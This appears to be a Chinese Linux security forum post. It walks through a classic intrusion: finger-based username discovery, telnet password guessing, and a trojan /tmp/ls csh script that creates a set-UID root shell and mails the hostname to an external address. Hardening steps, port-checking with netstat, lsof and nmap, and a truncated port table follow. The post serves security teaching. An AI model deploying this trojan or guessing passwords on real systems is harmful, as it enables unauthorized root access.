CNSCN安全检测
一)远程检测工具
看到一个名为 www.xxx.com的主机与另一端点的连接或看到从它发出的e-mail甚至只是听说过xxx而发现这个主机 1)ping www.xxx.com 常会因许多站点不能使用ping命令用到的ICMP回应,而失败 2)nslookup www.xxx.com 为防网络失效,它总能验证一个站点是否存在 3)traceroute www.xxx.com 可用来测试连接并且如果存在问题的话,它将显示系统是否有问题 二)看站点是否支持finger (The finger displays information about the system users.) [root@207 ~]$ finger Login Name Tty Idle Login Time Office Office Phone cnscn pts/1 Mar 7 21:48 (61.51.65.137) qc pts/0 12:59 Mar 7 08:46 (192.168.0.89) root root tty1 19d Feb 16 15:32 root root tty2 3d Feb 16 15:36 root root pts/3 6:56 Mar 7 13:56 (192.168.0.111) $finger root@www.xxx.com [ www.xxx.com] Login: root Name: root Directory: /root Shell: /bin/tcsh Last login web Apr 5 11:22 (EDT) on tty2 三)尝试猜测用户名 因为多数用户名使用帐户名和常用的主机名来作为电子邮件地址,所以入侵者可以从电子邮件来得到相关信息,阅读邮件列表和新闻组并使用Web搜索引擎。 $finger ken@buildhr.com finger: ken : no such user $finger yl@buildhr.com [ www.buildhr.com] Login:yl Name: Yang liu Directory: /home/yl Shell: /bin/tcsh On since Sat Apr 1 13:40 (EDT) on tty1 6 days 16 hours idle 我们猜到一个帐户,太棒了! 四)猜测yl的口令 $telnet www.xxx.com Login: yl Password:xxx you have new mail % 现在我们可以做为一个普通用户登陆了 五)现在试着猜测根用户的口令,在20次失败之后放弃,死路一条 六)看看/etc/passwd中是否用加密口令。如果有的话,我们可以通过自己的系统进行攻击 %cat /etc/passwd root:x:0:0:Goddess:/root:/bin/sh .... /etc/passwd中根用户后面的口令x说明他们使用了shadow口令,又一条死胡同 七)看看根用户的$PATH变量是怎么样的 %cat /root/.bash_profile export PATH="/bin:.:$PATH" 太好了,系统管理员的搜索路径中用"." , 说明如果根用户发出命令ls而且根用户当前所在目录中有叫这个名字的程序,./ls 将被执行而不是执行/bin/ls (另一种常见错误是对/root的读甚至是写访问) 八)在/tmp中设一个陷井 在/tmp中设一个陷井,将ls, favorite-editor和other-editor的伪造版本放入其中,然后等着根用户去进入这个目录,我们甚至可能有意地通过在/tmp中产生大文件来将磁盘填满从而让根用户尽快看到/tmp %cat > /tmp/ls #!/bin/csh -f #If not root go directory to finish to give ls if ( ! -o /bin/su ) goto finish #Copy the shell cp /bin/sh .sh #Make it set-UID root!!! chmod 4755 .sh #send us e-mail when it happens hostname | Mail -s got1 c_n_s@163.com #Remove the Trojan horses /bin/rm ls pwd finish: /bin/ls $* %chmod 755 /tmp/ls %cp /tmp/ls /tmp/vi 收到的信 From root@localhost.localdomain Mon Mar 7 22:39:50 2005 Date: Mon, 7 Mar 2005 22:39:50 +0800 From: root < root@localhost.localdomain> To: root@localhost.localdomain Subject: got1 CnsLinux3 |
#2 |
CNSCN可能的攻击途径
一)匿名FTP
0)允许写入/tmp的未chroot的ftp----------------------------------------------------------------------------------------- | 1)没有chroot的ftp并可读取/etc/passwd | | | 2)有关的web站点、新闻组、电子邮件 | => 发现帐号名 ---------------------- | | | | 3)用finger | | | | | | | ---------------------------------------------------- | | | | | 猜测口令 | | | | | 成为普通用户 | | | | | ----------------------------------------------------------------------------------------------------------------------| | | | | 未用shadow的/etc/shadow 突破设置UID进入 使用su猜测根口令 可写入/tmp且根$PATH | 根级程序 | /bin前有一个点 | | | | 得到根口令 | | | |--------------------------------------------------------------------------------------------------------------------- | | 成为根用户 |
CNSCN强化系统的方法
1)用隐蔽口令来防止黑客得到加密的口令从而从自己的系统上攻入,如用MD5
2)设置FTP的chroot使用户不能到达/tmp或/etc/passwd 3)不要让根用户的$PATH中包含"." 4)令所有不必要的服务停止,如finger 5)不要将用户的帐号(电子邮件)放到web站点上 6)使用尽可能复杂的口令 7)确认不存在有漏洞的set-UID的程序,将软件升级到它的最新版本,除根用户外尽量让程序来为帐户set-UID。寻找可以替代set-UID的程序的东西(这将增加安全性) 8)雇佣一个很好的安全顾问来检查安全性并进行穿透测试 9)检测CGI的安全性,因为CGI程序通常存在隐蔽的安全性 |
网络端口安全
1)除了防火墙的单环保护外还应有“安全环组”的概念,这样即使黑客穿过了一个环,还会有另一个环阻止他
2)用netstat -atuv检测正在使用的端口 -bash-2.05b$ netstat -atuv | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:32768 *:* LISTEN tcp 0 0 *:7937 *:* LISTEN tcp 0 0 CnsLinux3:32769 *:* LISTEN tcp 0 0 CnsLinux3:32770 *:* LISTEN 他们中大部分通过inetd守护进程控制的,可通过过修改/etc/xinetd.d内的amanda chargen daytime echo-udp imap ipop3 kshell rexec rsync telnet time-udp amandaidx chargen-udp daytime-udp eklogin imaps klogin ktalk rlogin services tftp amidxtape cups-lpd echo gssftp ipop2 krb5-telnet pop3s rsh sgi_fam time 来实现禁止和开启。如vi /etc/xinetd.d/telnet中的disable = no 为disable = yes 来实现由充许状态为disiable禁用状态,而后[root@CnsLinux3 xinetd.d]# /etc/rc.d/init.d/xinetd restart即可使设置其生效 3)启动服务设置 #ntsysv 4)取消finger和rsh [root@CnsLinux3 xinetd.d]# chmod -x /usr/bin/finger [root@CnsLinux3 xinetd.d]# mv /usr/bin/finger /usr/bin/ncmd_finger [root@CnsLinux3 xinetd.d]# mv /usr/bin/rsh /usr/bin/ncmd_rsh [root@CnsLinux3 xinetd.d]# chmod -x /usr/bin/ncmd_rsh ================================================================ 5.8. 校验哪些端口正在监听 配置了网络服务之后,关注一下哪些端口在监听系统的网络接口这一点很重要。任何打开的端口都可能是入侵的证明。 要列举正在监听网络的端口,有两种基本方法。一种不太可靠的方法是通过键入 netstat -an 或 lsof -i 之类的命令来查询网络堆栈。这种方法之所以不太可靠是因为这些程序不连接网络上的机器,而是查看系统上在运行什么。因此,它们频繁成为攻击者的替换目标。怪客在打开了未经授权的网络端口后,就以这种方法来企图掩盖他们的踪迹。 更可靠的方法是使用 nmap 之类的端口扫描器来检查哪些端口正在监听网络。 以下从控制台发出的命令会判定哪些端口在监听来自网络上的 TCP 连接: nmap -sT -O localhost该命令的输出和以下相似: Starting nmap V. 3.00 ( www.insecure.org/nmap/ )Interesting ports on localhost.localdomain (127.0.0.1):(The 1596 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh111/tcp open sunrpc515/tcp open printer834/tcp open unknown6000/tcp open X11Remote OS guesses: Linux Kernel 2.4.0 or Gentoo 1.2 Linux 2.4.19 rc1-rc7)Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds该输出显示了由于 sunrpc 服务的存在,系统正在运行 portmap。然而,端口834上还有一个神秘服务。要查看一下该端口是否和任何已知服务相关,键入: cat /etc/services | grep 834该命令没有返回任何输出。这表明虽然该端口是在保留范围内(即从0到1023内),并且需要根权限才能打开,它并没有关联任何已知服务。 下一步,检查使用 netstat 或 lsof 的端口的信息。要使用 netstat 检查端口834,使用以下命令: netstat -anp | grep 834该命令返回以下输出: tcp 0 0 0.0.0.0:834 0.0.0.0:* LISTEN 653/ypbind这个开放端口在 netstat 中存在,这一点比较令人安慰,因为如果怪客在被攻击的系统上暗中打开一个端口,他们很可能不会让这个端口使用该命令被暴露出来。还有,[p] 选项揭示了打开这个端口的进程 id(PID)。在这个例子中,被打开的端口属于 ypbind(NIS),这是和 portmap 服务一起进行的 RPC 服务。 lsof 命令揭示了相似的信息,因为它也能够链接开放端口和服务: lsof -i | grep 834以下是这个命令中和讨论有关的输出部分: ypbind 653 0 7u IPv4 1319 TCP *:834 (LISTEN)ypbind 655 0 7u IPv4 1319 TCP *:834 (LISTEN)ypbind 656 0 7u IPv4 1319 TCP *:834 (LISTEN)ypbind 657 0 7u IPv4 1319 TCP *:834 (LISTEN)这些工具揭示了大量关于运行在机器上的服务状态的信息。它们很灵活,能够提供关于网络服务和配置的许多信息。强烈推荐你阅读 lsof、netstat、nmap 和 services 的说明书页。 ============================================================== 附录 C. 常用端口 下面的表格中列举了包括在红帽企业 Linux 中的服务、守护进程、和程序所使用的最常见的通信端口。该列表还可以在 /etc/services 文件中找到。要查看由互联网号码分派局(IANA)制定的“著名的已注册动态端口”官方列表,请参考以下 URL: http://www.iana.org/assignments/port-numbers 注记 “层”是指服务或协议在交通层上使用 TCP 还是 UDP。若没有列举,这个服务或协议就两者都使用。 端口号码 / 层 名称 注释 1 tcpmux TCP 端口服务多路复用 5 rje 远程作业入口 7 echo Echo 服务 9 discard 用于连接测试的空服务 11 systat 用于列举连接了的端口的系统状态 13 daytime 给请求主机发送日期和时间 17 qotd 给连接了的主机发送每日格言 18 msp 消息发送协议 19 chargen 字符生成服务;发送无止境的字符流 20 ftp-data FTP 数据端口 21 ftp 文件传输协议(FTP)端口;有时被文件服务协议(FSP)使用 22 ssh 安全 Shell(SSH)服务 23 telnet Telnet 服务 25 smtp 简单邮件传输协议(SMTP) 37 time 时间协议 39 rlp 资源定位协议 42 nameserver 互联网名称服务 43 nicname WHOIS 目录服务 49 tacacs 用于基于 TCP/IP 验证和访问的终端访问控制器访问控制系统 50 re-mail-ck 远程邮件检查协议 53 domain 域名服务(如 BIND) 63 whois++ WHOIS++,被扩展了的 WHOIS 服务 67 bootps 引导协议(BOOTP)服务;还被动态主机配置协议(DHCP)服务使用 68 bootpc Bootstrap(BOOTP)客户;还被动态主机配置协议(DHCP)客户使用 69 tftp 小文件传输协议(TFTP) 70 gopher Gopher 互联网文档搜寻和检索 71 netrjs-1 远程作业服务 72 netrjs-2 远程作业服务 73 netrjs-3 远程作业服务 73 netrjs-4 远程作业服务 79 finger 用于用户联系信息的 Finger 服务 80 http 用于万维网(WWW)服务的超文本传输协议(HTTP) 88 kerberos Kerberos 网络验证系统 95 supdup Telnet 协议扩展 101 hostname SRI-NIC 机器上的主机名服务 102 iso-tsap ISO 开发环境(ISODE)网络应用 105 csnet-ns 邮箱名称服务器;也被 CSO 名称服务器使用 107 rtelnet 远程 Telnet 109 pop2 邮局协议版本2 110 pop3 邮局协议版本3 111 sunrpc 用于远程命令执行的远程过程调用(RPC)协议,被网络文件系统(NFS)使用 113 auth 验证和身份识别协议 115 sftp 安全文件传输协议(SFTP)服务 117 uucp-path Unix 到 Unix 复制协议(UUCP)路径服务 119 nntp 用于 USENET 讨论系统的网络新闻传输协议(NNTP) 123 ntp 网络时间协议(NTP) 137 netbios-ns 在红帽企业 Linux 中被 Samba 使用的 NETBIOS 名称服务 138 netbios-dgm 在红帽企业 Linux 中被 Samba 使用的 NETBIOS 数据报服务 139 netbios-ssn 在红帽企业 Linux 中被 Samba 使用的NET BIOS 会话服务 143 imap 互联网消息存取协议(IMAP) 161 snmp 简单网络管理协议(SNMP) 162 snmptrap SNMP 的陷阱 163 cmip-man 通用管理信息协议(CMIP) 164 cmip-agent 通用管理信息协议(CMIP) 174 mailq MAILQ 177 xdmcp X 显示管理器控制协议 178 nextstep NeXTStep 窗口服务器 179 bgp 边界网络协议 191 prospero Cliffod Neuman 的 Prospero 服务 194 irc 互联网中继聊天(IRC) 199 smux SNMP UNIX 多路复用 201 at-rtmp AppleTalk 选路 202 at-nbp AppleTalk 名称绑定 204 at-echo AppleTalk echo 服务 206 at-zis AppleTalk 区块信息 209 qmtp 快速邮件传输协议(QMTP) 210 z39.50 NISO Z39.50 数据库 213 ipx 互联网络分组交换协议(IPX),被 Novell Netware 环境常用的数据报协议 220 imap3 互联网消息存取协议版本3 245 link LINK 347 fatserv Fatmen 服务器 363 rsvp_tunnel RSVP 隧道 369 rpc2portmap Coda 文件系统端口映射器 370 codaauth2 Coda 文件系统验证服务 372 ulistproc UNIX Listserv 389 ldap 轻型目录存取协议(LDAP) 427 svrloc 服务位置协议(SLP) 434 mobileip-agent 可移互联网协议(IP)代理 435 mobilip-mn 可移互联网协议(IP)管理器 443 https 安全超文本传输协议(HTTP) 444 snpp 小型网络分页协议 445 microsoft-ds 通过 TCP/IP 的服务器消息块(SMB) 464 kpasswd Kerberos 口令和钥匙改换服务 468 photuris Photuris 会话钥匙管理协议 487 saft 简单不对称文件传输(SAFT)协议 488 gss-http 用于 HTTP 的通用安全服务(GSS) 496 pim-rp-disc 用于协议独立的多址传播(PIM)服务的会合点发现(RP-DISC) 500 isakmp 互联网安全关联和钥匙管理协议(ISAKMP) 535 iiop 互联网内部对象请求代理协议(IIOP) 538 gdomap GNUstep 分布式对象映射器(GDOMAP) 546 dhcpv6-client 动态主机配置协议(DHCP)版本6客户 547 dhcpv6-server 动态主机配置协议(DHCP)版本6服务 554 rtsp 实时流播协议(RTSP) 563 nntps 通过安全套接字层的网络新闻传输协议(NNTPS) 565 whoami whoami 587 submission 邮件消息提交代理(MSA) 610 npmp-local 网络外设管理协议(NPMP)本地 / 分布式排队系统(DQS&# |